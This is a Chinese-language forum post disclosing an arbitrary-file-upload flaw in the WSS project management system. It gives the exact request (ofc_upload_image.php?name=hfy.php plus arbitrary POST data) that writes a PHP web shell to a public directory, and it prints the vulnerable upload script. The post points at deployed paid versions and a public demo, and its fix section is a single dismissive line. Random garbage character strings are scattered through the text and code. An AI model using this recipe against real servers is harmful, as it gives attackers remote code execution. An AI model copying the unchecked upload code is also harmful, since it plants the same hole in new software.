WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
5 C" f# h3 @6 R$ V, E: Y! _/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
  D: c4 l  e( g  r+ f  b0 T: r
& g2 n. }: e8 |2 w. J: i
- }, I0 W, U0 k6 n6 ?; B! B% L" A最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

6 }: H! E4 `; m( M0 a9 {8 Q* h<?php

. Y  h6 v- Q* T+ G* s; i9 j; V//
// In Open Flash Chart -> save_image debug mode, you
! l( L8 ?: W2 s! u- [& {5 X// will see the 'echo' text in a new window.
) v4 l8 w; l$ x//

/*
1 {% w: ]. t7 }* g" m# C
print_r( $_GET );
. p, s$ i5 E8 }3 d0 dprint_r( $_POST );
print_r( $_FILES );
1 [- \" p+ q4 e& f
, Q8 A) g8 L( S- t" Dprint_r( $GLOBALS );
/ k  W, ^8 }7 ?' Hprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
% s* S, h* h2 h4 r+ M# l
*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
  }# O' `2 p$ h1 F/ n  L" |! ]
% @2 c6 j, F* q, l- T& f' Jif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
+ R* E3 x% ]5 R! r$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
+ ~7 |0 U. u) m  M! G" M// print_r( $_POST );
  Y* W5 H- ?7 ?$ A// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

: c; B- r- K+ [; Q//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
& u' [6 y, V+ ~4 s4 D5 a) L
//
7 r8 A6 t7 ?+ v// LOOK:
  `9 x7 J! V" Y8 N! z//
7 Y/ Y) C8 b! M) Y. H$ ~exit();
//
// PHP5:
! I6 z! @5 J& A& _* z0 L# c: l//
$ N+ y( W4 s* S6 H. f. O
! ?2 D4 U7 @" E& _" N' c
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

1 N7 D1 f; [1 V. t% h3 j3 d! Iif (!file_exists($default_path)) mkdir($default_path, 0777, true);
8 C+ \+ ?; A" \7 l/ I" ?2 N7 M
+ b% Y; \% D8 u; _' l// full path to the saved image including filename //
. r2 I5 K8 _3 e. s  d) L% u$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
! P$ l' a" E+ B1 O
// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
1 G5 v6 E1 @- g8 E    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
: W0 i5 R# u0 U% D1 i} else {
- d/ A/ {( J" G! f6 `/ V    echo "FILE UPLOAD FAILED";
! ~* i; r6 E. n, N: w/ U) c3 N}

" T0 t8 O$ }( E6 A
?>

" T. N5 {% D; u+ s% U
+ X! W; v  }) Y4 c

  d0 u3 e/ f' m/ Y$ F0 }
( t9 P$ w9 m* A3 y3 A1 Q) b" s
修复方案：
. u& m0 j+ v/ ^# x1 h! M: N' ~- c这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

) K6 _; @% d! z